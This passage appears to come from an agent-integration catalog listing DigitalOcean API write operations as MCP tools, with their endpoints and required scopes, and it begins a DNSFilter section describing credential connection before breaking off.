Upload via POST /v2/gen-ai/model_evaluation/datasets/file_upload_presigned_urls POST /api/v1/digitalocean/v2/gen-ai/model_evaluation/datasets/file_upload_presigned_urls. Scopes: genai:create. digitalocean_post_v2_gen_ai_model_evaluation_runs (write) — Create Model Evaluation Run via POST /v2/gen-ai/model_evaluation_runs POST /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs. Scopes: genai:create. digitalocean_post_v2_gen_ai_models_api_keys (write) — Create a Model API Key via POST /v2/gen-ai/models/api_keys POST /api/v1/digitalocean/v2/gen-ai/models/api_keys. Scopes: genai:create. digitalocean_post_v2_gen_ai_models_routers (write) — Create a Model Router via POST /v2/gen-ai/models/routers POST /api/v1/digitalocean/v2/gen-ai/models/routers. Scopes: genai:create. digitalocean_post_v2_gen_ai_oauth2_dropbox_tokens (write) — Get Oauth2 Dropbox Tokens via POST /v2/gen-ai/oauth2/dropbox/tokens POST /api/v1/digitalocean/v2/gen-ai/oauth2/dropbox/tokens. Scopes: genai:create. digitalocean_post_v2_gen_ai_openai_keys (write) — Create OpenAI API Key via POST /v2/gen-ai/openai/keys POST /api/v1/digitalocean/v2/gen-ai/openai/keys. Scopes: genai:create. digitalocean_post_v2_gen_ai_scheduled_indexing (write) — Create scheduled indexing for knowledge base via POST /v2/gen-ai/scheduled-indexing POST /api/v1/digitalocean/v2/gen-ai/scheduled-indexing. Scopes: genai:create. digitalocean_post_v2_gen_ai_workspaces (write) — Create a Workspace via POST /v2/gen-ai/workspaces POST /api/v1/digitalocean/v2/gen-ai/workspaces. Scopes: genai:create. digitalocean_post_v2_images (write) — Create a Custom Image via POST /v2/images POST /api/v1/digitalocean/v2/images. Scopes: image:create. digitalocean_post_v2_images_by_image_id_account_transfer (write) — Initiate an Image Account Transfer via POST /v2/images/{image_id}/account_transfer POST /api/v1/digitalocean/v2/images/{image_id}/account_transfer. Scopes: image:delete, image:update. digitalocean_post_v2_images_by_image_id_account_transfer_accept (write) — Accept an Image Account Transfer via POST /v2/images/{image_id}/account_transfer/accept POST /api/v1/digitalocean/v2/images/{image_id}/account_transfer/accept. Scopes: image:create. digitalocean_post_v2_images_by_image_id_account_transfer_cancel (write) — Cancel an Image Account Transfer via POST /v2/images/{image_id}/account_transfer/cancel POST /api/v1/digitalocean/v2/images/{image_id}/account_transfer/cancel. Scopes: image:update. digitalocean_post_v2_images_by_image_id_account_transfer_decline (write) — Decline an Image Account Transfer via POST /v2/images/{image_id}/account_transfer/decline POST /api/v1/digitalocean/v2/images/{image_id}/account_transfer/decline. Scopes: image:create. digitalocean_post_v2_images_by_image_id_actions (write) — Initiate an Image Action via POST /v2/images/{image_id}/actions POST /api/v1/digitalocean/v2/images/{image_id}/actions. Scopes: image:update. digitalocean_post_v2_kubernetes_clusters (write) — Create a New Kubernetes Cluster via POST /v2/kubernetes/clusters POST /api/v1/digitalocean/v2/kubernetes/clusters. Scopes: kubernetes:create. digitalocean_post_v2_kubernetes_clusters_by_cluster_id_clusterlint (write) — Run Clusterlint Checks on a Kubernetes Cluster via POST /v2/kubernetes/clusters/{cluster_id}/clusterlint POST /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/clusterlint. Scopes: kubernetes:update. digitalocean_post_v2_kubernetes_clusters_by_cluster_id_node_pools (write) — Add a Node Pool to a Kubernetes Cluster via POST /v2/kubernetes/clusters/{cluster_id}/node_pools POST /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools. Scopes: kubernetes:update. digitalocean_post_v2_kubernetes_clusters_by_cluster_id_node_pools_by_node_pool_id_recycle (write) — Recycle a Kubernetes Node Pool via POST /v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}/recycle POST /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}/recycle. Scopes: kubernetes:delete. digitalocean_post_v2_kubernetes_clusters_by_cluster_id_upgrade (write) — Upgrade a Kubernetes Cluster via POST /v2/kubernetes/clusters/{cluster_id}/upgrade POST /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/upgrade. Scopes: kubernetes:update. digitalocean_post_v2_kubernetes_registries (write) — Add Container Registries to Kubernetes Clusters via POST /v2/kubernetes/registries POST /api/v1/digitalocean/v2/kubernetes/registries. Scopes: kubernetes:create. digitalocean_post_v2_kubernetes_registry (write) — Add Container Registry to Kubernetes Clusters via POST /v2/kubernetes/registry POST /api/v1/digitalocean/v2/kubernetes/registry. Scopes: kubernetes:create. digitalocean_post_v2_load_balancers (write) — Create a New Load Balancer via POST /v2/load_balancers POST /api/v1/digitalocean/v2/load_balancers. Scopes: load_balancer:create. digitalocean_post_v2_load_balancers_by_lb_id_droplets (write) — Add Droplets to a Load Balancer via POST /v2/load_balancers/{lb_id}/droplets POST /api/v1/digitalocean/v2/load_balancers/{lb_id}/droplets. Scopes: load_balancer:update. digitalocean_post_v2_load_balancers_by_lb_id_forwarding_rules (write) — Add Forwarding Rules to a Load Balancer via POST /v2/load_balancers/{lb_id}/forwarding_rules POST /api/v1/digitalocean/v2/load_balancers/{lb_id}/forwarding_rules. Scopes: load_balancer:update. digitalocean_post_v2_monitoring_alerts (write) — Create Alert Policy via POST /v2/monitoring/alerts POST /api/v1/digitalocean/v2/monitoring/alerts. Scopes: monitoring:create. digitalocean_post_v2_monitoring_sinks (write) — Create Sink via POST /v2/monitoring/sinks POST /api/v1/digitalocean/v2/monitoring/sinks. Scopes: monitoring:create. digitalocean_post_v2_monitoring_sinks_destinations (write) — Create Logging Destination via POST /v2/monitoring/sinks/destinations POST /api/v1/digitalocean/v2/monitoring/sinks/destinations. Scopes: monitoring:create. digitalocean_post_v2_monitoring_sinks_destinations_by_destination_uuid (write) — Update Logging Destination via POST /v2/monitoring/sinks/destinations/{destination_uuid} POST /api/v1/digitalocean/v2/monitoring/sinks/destinations/{destination_uuid}. Scopes: monitoring:update. digitalocean_post_v2_nfs (write) — Create a new NFS share via POST /v2/nfs POST /api/v1/digitalocean/v2/nfs. Scopes: nfs:create. digitalocean_post_v2_nfs_by_nfs_id_actions (write) — Initiate an NFS action via POST /v2/nfs/{nfs_id}/actions POST /api/v1/digitalocean/v2/nfs/{nfs_id}/actions. Scopes: nfs:create. digitalocean_post_v2_nfs_shares_by_share_id_access_points (write) — Create an NFS access point via POST /v2/nfs/shares/{share_id}/access_points POST /api/v1/digitalocean/v2/nfs/shares/{share_id}/access_points. Scopes: nfs:create. digitalocean_post_v2_organizations_team (write) — Create a Team in an Organization via POST /v2/organizations/team POST /api/v1/digitalocean/v2/organizations/team. Scopes: organization:create_team. digitalocean_post_v2_partner_network_connect_attachments (write) — Create a new partner attachment via POST /v2/partner_network_connect/attachments POST /api/v1/digitalocean/v2/partner_network_connect/attachments. Scopes: partner_network_connect:create. digitalocean_post_v2_partner_network_connect_attachments_by_pa_id_service_key (write) — Regenerate the service key for the partner attachment via POST /v2/partner_network_connect/attachments/{pa_id}/service_key POST /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}/service_key. Scopes: partner_network_connect:update. digitalocean_post_v2_projects (write) — Create a Project via POST /v2/projects POST /api/v1/digitalocean/v2/projects. Scopes: project:create. digitalocean_post_v2_projects_by_project_id_resources (write) — Assign Resources to a Project via POST /v2/projects/{project_id}/resources POST /api/v1/digitalocean/v2/projects/{project_id}/resources. Scopes: project:assign_resource. digitalocean_post_v2_projects_default_resources (write) — Assign Resources to Default Project via POST /v2/projects/default/resources POST /api/v1/digitalocean/v2/projects/default/resources. Scopes: project:assign_resource. digitalocean_post_v2_registries (write) — Create Container Registry via POST /v2/registries POST /api/v1/digitalocean/v2/registries. Scopes: registry:create. digitalocean_post_v2_registries_by_registry_name_garbage_collection (write) — Start Garbage Collection via POST /v2/registries/{registry_name}/garbage-collection POST /api/v1/digitalocean/v2/registries/{registry_name}/garbage-collection. Scopes: registry:update. digitalocean_post_v2_registries_subscription (write) — Update Subscription Tier via POST /v2/registries/subscription POST /api/v1/digitalocean/v2/registries/subscription. Scopes: registry:update. digitalocean_post_v2_registries_validate_name (write) — Validate a Container Registry Name via POST /v2/registries/validate-name POST /api/v1/digitalocean/v2/registries/validate-name. Scopes: registry:create. digitalocean_post_v2_registry (write) — Create Container Registry via POST /v2/registry POST /api/v1/digitalocean/v2/registry. Scopes: registry:create. digitalocean_post_v2_registry_by_registry_name_garbage_collection (write) — Start Garbage Collection via POST /v2/registry/{registry_name}/garbage-collection POST /api/v1/digitalocean/v2/registry/{registry_name}/garbage-collection. Scopes: registry:update. digitalocean_post_v2_registry_subscription (write) — Update Subscription Tier via POST /v2/registry/subscription POST /api/v1/digitalocean/v2/registry/subscription. Scopes: registry:update. digitalocean_post_v2_registry_validate_name (write) — Validate a Container Registry Name via POST /v2/registry/validate-name POST /api/v1/digitalocean/v2/registry/validate-name. Scopes: registry:create. digitalocean_post_v2_reserved_ips (write) — Create a New Reserved IP via POST /v2/reserved_ips POST /api/v1/digitalocean/v2/reserved_ips. Scopes: reserved_ip:create. digitalocean_post_v2_reserved_ips_by_reserved_ip_actions (write) — Initiate a Reserved IP Action via POST /v2/reserved_ips/{reserved_ip}/actions POST /api/v1/digitalocean/v2/reserved_ips/{reserved_ip}/actions. Scopes: reserved_ip:update. digitalocean_post_v2_reserved_ipv6 (write) — Create a New Reserved IPv6 via POST /v2/reserved_ipv6 POST /api/v1/digitalocean/v2/reserved_ipv6. Scopes: reserved_ip:create. digitalocean_post_v2_reserved_ipv6_by_reserved_ipv6_actions (write) — Initiate a Reserved IPv6 Action via POST /v2/reserved_ipv6/{reserved_ipv6}/actions POST /api/v1/digitalocean/v2/reserved_ipv6/{reserved_ipv6}/actions. Scopes: reserved_ip:update. digitalocean_post_v2_security_scans (write) — Create Scan via POST /v2/security/scans POST /api/v1/digitalocean/v2/security/scans. Scopes: security:create. digitalocean_post_v2_security_scans_rules (write) — Create Scan Rule via POST /v2/security/scans/rules POST /api/v1/digitalocean/v2/security/scans/rules. Scopes: security:create. digitalocean_post_v2_security_settings_suppressions (write) — Create Suppression via POST /v2/security/settings/suppressions POST /api/v1/digitalocean/v2/security/settings/suppressions. Scopes: security:create. digitalocean_post_v2_spaces_keys (write) — Create a New Spaces Access Key via POST /v2/spaces/keys POST /api/v1/digitalocean/v2/spaces/keys. Scopes: spaces_key:create_credentials. digitalocean_post_v2_tags (write) — Create a New Tag via POST /v2/tags POST /api/v1/digitalocean/v2/tags. Scopes: tag:create. digitalocean_post_v2_tags_by_tag_id_resources (write) — Tag a Resource via POST /v2/tags/{tag_id}/resources POST /api/v1/digitalocean/v2/tags/{tag_id}/resources. Scopes: tag:create. digitalocean_post_v2_uptime_checks (write) — Create a New Check via POST /v2/uptime/checks POST /api/v1/digitalocean/v2/uptime/checks. Scopes: uptime:create. digitalocean_post_v2_uptime_checks_by_check_id_alerts (write) — Create a New Alert via POST /v2/uptime/checks/{check_id}/alerts POST /api/v1/digitalocean/v2/uptime/checks/{check_id}/alerts. Scopes: uptime:create. digitalocean_post_v2_vector_databases (write) — Create a New Vector Database via POST /v2/vector-databases POST /api/v1/digitalocean/v2/vector-databases. Scopes: database:create. digitalocean_post_v2_vector_databases_by_id_backups_by_backup_id_restore (write) — Restore a Vector Database from a Backup via POST /v2/vector-databases/{id}/backups/{backup_id}/restore POST /api/v1/digitalocean/v2/vector-databases/{id}/backups/{backup_id}/restore. Scopes: database:update. digitalocean_post_v2_vector_databases_by_id_resize (write) — Resize a Vector Database via POST /v2/vector-databases/{id}/resize POST /api/v1/digitalocean/v2/vector-databases/{id}/resize. Scopes: database:update. digitalocean_post_v2_volumes (write) — Create a New Block Storage Volume via POST /v2/volumes POST /api/v1/digitalocean/v2/volumes. Scopes: block_storage:create. digitalocean_post_v2_volumes_actions (write) — Initiate A Block Storage Action By Volume Name via POST /v2/volumes/actions POST /api/v1/digitalocean/v2/volumes/actions. Scopes: block_storage_action:create. digitalocean_post_v2_volumes_by_volume_id_actions (write) — Initiate A Block Storage Action By Volume Id via POST /v2/volumes/{volume_id}/actions POST /api/v1/digitalocean/v2/volumes/{volume_id}/actions. Scopes: block_storage_action:create. digitalocean_post_v2_volumes_by_volume_id_snapshots (write) — Create Snapshot from a Volume via POST /v2/volumes/{volume_id}/snapshots POST /api/v1/digitalocean/v2/volumes/{volume_id}/snapshots. Scopes: block_storage_snapshot:create. digitalocean_post_v2_vpc_nat_gateways (write) — Create a New VPC NAT Gateway via POST /v2/vpc_nat_gateways POST /api/v1/digitalocean/v2/vpc_nat_gateways. Scopes: nat_gateway:create. digitalocean_post_v2_vpc_peerings (write) — Create a New VPC Peering via POST /v2/vpc_peerings POST /api/v1/digitalocean/v2/vpc_peerings. Scopes: vpc_peering:create. digitalocean_post_v2_vpcs (write) — Create a New VPC via POST /v2/vpcs POST /api/v1/digitalocean/v2/vpcs. Scopes: vpc:create. digitalocean_post_v2_vpcs_by_vpc_id_peerings (write) — Create a Peering with a VPC via POST /v2/vpcs/{vpc_id}/peerings POST /api/v1/digitalocean/v2/vpcs/{vpc_id}/peerings. Scopes: vpc_peering:create. digitalocean_put_v2_account_keys_by_ssh_key_identifier (write) — Update an SSH Key's Name via PUT /v2/account/keys/{ssh_key_identifier} PUT /api/v1/digitalocean/v2/account/keys/{ssh_key_identifier}. Scopes: ssh_key:update. digitalocean_put_v2_apps_by_id (write) — Update an App via PUT /v2/apps/{id} PUT /api/v1/digitalocean/v2/apps/{id}. Scopes: app:update. digitalocean_put_v2_cdn_endpoints_by_cdn_id (write) — Update a CDN Endpoint via PUT /v2/cdn/endpoints/{cdn_id} PUT /api/v1/digitalocean/v2/cdn/endpoints/{cdn_id}. Scopes: cdn:update. digitalocean_put_v2_databases_by_database_cluster_uuid_autoscale (write) — Configure Autoscale Settings for a Database Cluster via PUT /v2/databases/{database_cluster_uuid}/autoscale PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/autoscale. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_do_settings (write) — Update DO Settings for a Database Cluster via PUT /v2/databases/{database_cluster_uuid}/do_settings PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/do_settings. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_eviction_policy (write) — Configure the Eviction Policy for a Caching or Valkey Cluster via PUT /v2/databases/{database_cluster_uuid}/eviction_policy PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/eviction_policy. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_firewall (write) — Update Firewall Rules (Trusted Sources) for a Database via PUT /v2/databases/{database_cluster_uuid}/firewall PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/firewall. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_install_update (write) — Start Database Maintenance via PUT /v2/databases/{database_cluster_uuid}/install_update PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/install_update. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_logsink_by_logsink_id (write) — Update Logsink for a Database Cluster via PUT /v2/databases/{database_cluster_uuid}/logsink/{logsink_id} PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/logsink/{logsink_id}. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_maintenance (write) — Configure a Database Cluster's Maintenance Window via PUT /v2/databases/{database_cluster_uuid}/maintenance PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/maintenance. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_migrate (write) — Migrate a Database Cluster to a New Region via PUT /v2/databases/{database_cluster_uuid}/migrate PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/migrate. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_online_migration (write) — Start an Online Migration via PUT /v2/databases/{database_cluster_uuid}/online-migration PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/online-migration. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_pools_by_pool_name (write) — Update Connection Pools (PostgreSQL) via PUT /v2/databases/{database_cluster_uuid}/pools/{pool_name} PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/pools/{pool_name}. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_replicas_by_replica_name_promote (write) — Promote a Read-only Replica to become a Primary Cluster via PUT /v2/databases/{database_cluster_uuid}/replicas/{replica_name}/promote PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/replicas/{replica_name}/promote. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_resize (write) — Resize a Database Cluster via PUT /v2/databases/{database_cluster_uuid}/resize PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/resize. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_schema_registry_config (write) — Update Schema Registry Configuration for a kafka Cluster via PUT /v2/databases/{database_cluster_uuid}/schema-registry/config PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/config. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_schema_registry_config_by_subject_name (write) — Update Schema Registry Configuration for a Subject of kafka Cluster via PUT /v2/databases/{database_cluster_uuid}/schema-registry/config/{subject_name} PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/config/{subject_name}. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_sql_mode (write) — Update SQL Mode for a Cluster via PUT /v2/databases/{database_cluster_uuid}/sql_mode PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/sql_mode. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_topics_by_topic_name (write) — Update Topic for a Kafka Cluster via PUT /v2/databases/{database_cluster_uuid}/topics/{topic_name} PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/topics/{topic_name}. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_upgrade (write) — Upgrade Major Version for a Database via PUT /v2/databases/{database_cluster_uuid}/upgrade PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/upgrade. Scopes: database:update. digitalocean_put_v2_databases_by_database_cluster_uuid_users_by_username (write) — Update a Database User via PUT /v2/databases/{database_cluster_uuid}/users/{username} PUT /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/users/{username}. Scopes: database:update. digitalocean_put_v2_databases_metrics_credentials (write) — Update Database Clusters' Metrics Endpoint Credentials via PUT /v2/databases/metrics/credentials PUT /api/v1/digitalocean/v2/databases/metrics/credentials. Scopes: database:update. digitalocean_put_v2_domains_by_domain_name_records_by_domain_record_id (write) — Update a Domain Record via PUT /v2/domains/{domain_name}/records/{domain_record_id} PUT /api/v1/digitalocean/v2/domains/{domain_name}/records/{domain_record_id}. Scopes: domain:update. digitalocean_put_v2_droplets_autoscale_by_autoscale_pool_id (write) — Update Autoscale Pool via PUT /v2/droplets/autoscale/{autoscale_pool_id} PUT /api/v1/digitalocean/v2/droplets/autoscale/{autoscale_pool_id}. Scopes: droplet:create. digitalocean_put_v2_firewalls_by_firewall_id (write) — Update a Firewall via PUT /v2/firewalls/{firewall_id} PUT /api/v1/digitalocean/v2/firewalls/{firewall_id}. Scopes: firewall:update. digitalocean_put_v2_functions_namespaces_by_namespace_id_keys_by_key_id (write) — Update a Namespace Access Key via PUT /v2/functions/namespaces/{namespace_id}/keys/{key_id} PUT /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/keys/{key_id}. Scopes: function:admin. digitalocean_put_v2_functions_namespaces_by_namespace_id_triggers_by_trigger_name (write) — Update Trigger via PUT /v2/functions/namespaces/{namespace_id}/triggers/{trigger_name} PUT /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/triggers/{trigger_name}. Scopes: function:update. digitalocean_put_v2_gen_ai_agents_by_agent_uuid_api_keys_by_api_key_uuid (write) — Update API Key for an Agent via PUT /v2/gen-ai/agents/{agent_uuid}/api_keys/{api_key_uuid} PUT /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/api_keys/{api_key_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_agents_by_agent_uuid_api_keys_by_api_key_uuid_regenerate (write) — Regenerate API Key for an Agent via PUT /v2/gen-ai/agents/{agent_uuid}/api_keys/{api_key_uuid}/regenerate PUT /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/api_keys/{api_key_uuid}/regenerate. Scopes: genai:update. digitalocean_put_v2_gen_ai_agents_by_agent_uuid_functions_by_function_uuid (write) — Update Function Route for an Agent via PUT /v2/gen-ai/agents/{agent_uuid}/functions/{function_uuid} PUT /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/functions/{function_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_agents_by_parent_agent_uuid_child_agents_by_child_agent_uuid (write) — Update Agent Route for an Agent via PUT /v2/gen-ai/agents/{parent_agent_uuid}/child_agents/{child_agent_uuid} PUT /api/v1/digitalocean/v2/gen-ai/agents/{parent_agent_uuid}/child_agents/{child_agent_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_agents_by_uuid (write) — Update an Agent via PUT /v2/gen-ai/agents/{uuid} PUT /api/v1/digitalocean/v2/gen-ai/agents/{uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_agents_by_uuid_deployment_visibility (write) — Update Agent Status via PUT /v2/gen-ai/agents/{uuid}/deployment_visibility PUT /api/v1/digitalocean/v2/gen-ai/agents/{uuid}/deployment_visibility. Scopes: genai:update. digitalocean_put_v2_gen_ai_agents_by_uuid_versions (write) — Rollback to Agent Version via PUT /v2/gen-ai/agents/{uuid}/versions PUT /api/v1/digitalocean/v2/gen-ai/agents/{uuid}/versions. Scopes: genai:update. digitalocean_put_v2_gen_ai_anthropic_keys_by_api_key_uuid (write) — Update Anthropic API Key via PUT /v2/gen-ai/anthropic/keys/{api_key_uuid} PUT /api/v1/digitalocean/v2/gen-ai/anthropic/keys/{api_key_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_custom_evaluation_metrics_by_metric_uuid (write) — Update Custom Evaluation Metric via PUT /v2/gen-ai/custom_evaluation_metrics/{metric_uuid} PUT /api/v1/digitalocean/v2/gen-ai/custom_evaluation_metrics/{metric_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_evaluation_test_cases_by_test_case_uuid (write) — Update an Evaluation Test Case. via PUT /v2/gen-ai/evaluation_test_cases/{test_case_uuid} PUT /api/v1/digitalocean/v2/gen-ai/evaluation_test_cases/{test_case_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_indexing_jobs_by_uuid_cancel (write) — Cancel Indexing Job for a Knowledge Base via PUT /v2/gen-ai/indexing_jobs/{uuid}/cancel PUT /api/v1/digitalocean/v2/gen-ai/indexing_jobs/{uuid}/cancel. Scopes: genai:update. digitalocean_put_v2_gen_ai_knowledge_bases_by_knowledge_base_uuid_data_sources_by_data_source_uuid (write) — Update Data Source options via PUT /v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources/{data_source_uuid} PUT /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources/{data_source_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_knowledge_bases_by_uuid (write) — Update a Knowledge Base via PUT /v2/gen-ai/knowledge_bases/{uuid} PUT /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_model_evaluation_runs_by_eval_run_uuid_cancel (write) — Cancel Model Evaluation Run via PUT /v2/gen-ai/model_evaluation_runs/{eval_run_uuid}/cancel PUT /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs/{eval_run_uuid}/cancel. Scopes: genai:update. digitalocean_put_v2_gen_ai_models_api_keys_by_api_key_uuid (write) — Update API Key for a Model via PUT /v2/gen-ai/models/api_keys/{api_key_uuid} PUT /api/v1/digitalocean/v2/gen-ai/models/api_keys/{api_key_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_models_api_keys_by_api_key_uuid_regenerate (write) — Regenerate API Key for a Model via PUT /v2/gen-ai/models/api_keys/{api_key_uuid}/regenerate PUT /api/v1/digitalocean/v2/gen-ai/models/api_keys/{api_key_uuid}/regenerate. Scopes: genai:update. digitalocean_put_v2_gen_ai_models_routers_by_uuid (write) — Update a Model Router via PUT /v2/gen-ai/models/routers/{uuid} PUT /api/v1/digitalocean/v2/gen-ai/models/routers/{uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_openai_keys_by_api_key_uuid (write) — Update OpenAI API Key via PUT /v2/gen-ai/openai/keys/{api_key_uuid} PUT /api/v1/digitalocean/v2/gen-ai/openai/keys/{api_key_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_workspaces_by_workspace_uuid (write) — Update a Workspace via PUT /v2/gen-ai/workspaces/{workspace_uuid} PUT /api/v1/digitalocean/v2/gen-ai/workspaces/{workspace_uuid}. Scopes: genai:update. digitalocean_put_v2_gen_ai_workspaces_by_workspace_uuid_agents (write) — Move Agents to a Workspace via PUT /v2/gen-ai/workspaces/{workspace_uuid}/agents PUT /api/v1/digitalocean/v2/gen-ai/workspaces/{workspace_uuid}/agents. Scopes: genai:update. digitalocean_put_v2_images_by_image_id (write) — Update an Image via PUT /v2/images/{image_id} PUT /api/v1/digitalocean/v2/images/{image_id}. Scopes: image:update. digitalocean_put_v2_kubernetes_clusters_by_cluster_id (write) — Update a Kubernetes Cluster via PUT /v2/kubernetes/clusters/{cluster_id} PUT /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}. Scopes: kubernetes:update. digitalocean_put_v2_kubernetes_clusters_by_cluster_id_node_pools_by_node_pool_id (write) — Update a Node Pool in a Kubernetes Cluster via PUT /v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id} PUT /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}. Scopes: kubernetes:update. digitalocean_put_v2_load_balancers_by_lb_id (write) — Update a Load Balancer via PUT /v2/load_balancers/{lb_id} PUT /api/v1/digitalocean/v2/load_balancers/{lb_id}. Scopes: load_balancer:update. digitalocean_put_v2_monitoring_alerts_by_alert_uuid (write) — Update an Alert Policy via PUT /v2/monitoring/alerts/{alert_uuid} PUT /api/v1/digitalocean/v2/monitoring/alerts/{alert_uuid}. Scopes: monitoring:update. digitalocean_put_v2_projects_by_project_id (write) — Update a Project via PUT /v2/projects/{project_id} PUT /api/v1/digitalocean/v2/projects/{project_id}. Scopes: project:update. digitalocean_put_v2_projects_default (write) — Update the Default Project via PUT /v2/projects/default PUT /api/v1/digitalocean/v2/projects/default. Scopes: project:update. digitalocean_put_v2_registries_by_registry_name_garbage_collection_by_garbage_collection_uuid (write) — Update Garbage Collection via PUT /v2/registries/{registry_name}/garbage-collection/{garbage_collection_uuid} PUT /api/v1/digitalocean/v2/registries/{registry_name}/garbage-collection/{garbage_collection_uuid}. Scopes: registry:update. digitalocean_put_v2_registry_by_registry_name_garbage_collection_by_garbage_collection_uuid (write) — Update Garbage Collection via PUT /v2/registry/{registry_name}/garbage-collection/{garbage_collection_uuid} PUT /api/v1/digitalocean/v2/registry/{registry_name}/garbage-collection/{garbage_collection_uuid}. Scopes: registry:update. digitalocean_put_v2_security_settings_plan (write) — Update Plan via PUT /v2/security/settings/plan PUT /api/v1/digitalocean/v2/security/settings/plan. Scopes: security:update. digitalocean_put_v2_spaces_keys_by_access_key (write) — Update Spaces Access Keys via PUT /v2/spaces/keys/{access_key} PUT /api/v1/digitalocean/v2/spaces/keys/{access_key}. Scopes: spaces_key:update. digitalocean_put_v2_uptime_checks_by_check_id (write) — Update a Check via PUT /v2/uptime/checks/{check_id} PUT /api/v1/digitalocean/v2/uptime/checks/{check_id}. Scopes: uptime:update. digitalocean_put_v2_uptime_checks_by_check_id_alerts_by_alert_id (write) — Update an Alert via PUT /v2/uptime/checks/{check_id}/alerts/{alert_id} PUT /api/v1/digitalocean/v2/uptime/checks/{check_id}/alerts/{alert_id}. Scopes: uptime:update. digitalocean_put_v2_vector_databases_by_id (write) — Update a Vector Database via PUT /v2/vector-databases/{id} PUT /api/v1/digitalocean/v2/vector-databases/{id}. Scopes: database:update. digitalocean_put_v2_vector_databases_by_id_tags (write) — Update Tags on a Vector Database via PUT /v2/vector-databases/{id}/tags PUT /api/v1/digitalocean/v2/vector-databases/{id}/tags. Scopes: database:update. digitalocean_put_v2_vpc_nat_gateways_by_id (write) — Update VPC NAT Gateway via PUT /v2/vpc_nat_gateways/{id} PUT /api/v1/digitalocean/v2/vpc_nat_gateways/{id}. Scopes: nat_gateway:update. digitalocean_put_v2_vpcs_by_vpc_id (write) — Update a VPC via PUT /v2/vpcs/{vpc_id} PUT /api/v1/digitalocean/v2/vpcs/{vpc_id}. Scopes: vpc:update. ================================================================================ ## DNSFilter URL: https://www.agenticfabriq.com/integrations/dnsfilter Section: Integrated Tools DNSFilter — 291 MCP tools Provider key: dnsfilter. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dnsfilter_delete_v1_agent_local_users_by_id (write, destructive) — Deletes a agent local user. via DELETE /v1/agent_local_users/{id} DELETE /api/v1/dnsfilter/v1/agent_local_users/{id}. Scopes: api. dnsfilter_delete_v1_api_keys_by_id (write, destructive) — Delete -- Removes the api key. via DELETE /v1/api_keys/{id} DELETE 